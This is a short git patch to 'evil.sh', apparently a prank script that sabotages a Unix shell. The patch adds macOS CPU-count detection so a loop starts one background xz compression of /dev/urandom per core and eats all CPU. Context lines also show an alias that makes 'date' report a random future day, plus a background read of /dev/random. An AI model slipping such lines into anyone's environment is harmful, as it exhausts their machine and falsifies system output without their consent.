From c40d6459217054e3ca39a43c1cff2beba5b9b75a Mon Sep 17 00:00:00 2001
From: Jonathan French <me@jonathanfrench.net>
Date: Mon, 28 Mar 2016 12:25:38 +0100
Subject: [PATCH] slightly more cross-platform all-cpu-eating

---
 evil.sh | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/evil.sh b/evil.sh
index 14f7232..6f720a3 100755
--- a/evil.sh
+++ b/evil.sh
@@ -32,7 +32,12 @@ alias date='date -d "now + $RANDOM days"';
 /bin/cat /dev/random > /dev/null 2>&1 &
 
 # Use ALL the CPUs.
-for i in $(seq 1 $(nproc)); do
+if [ "$(uname)" = 'Darwin' ]; then
+	NCPUS=$(sysctl -n hw.ncpu)
+else
+	NCPUS=$(nproc)
+fi;
+for i in $(seq 1 $NCPUS); do
 	xz -9e -c /dev/urandom > /dev/null 2>&1 &
 done;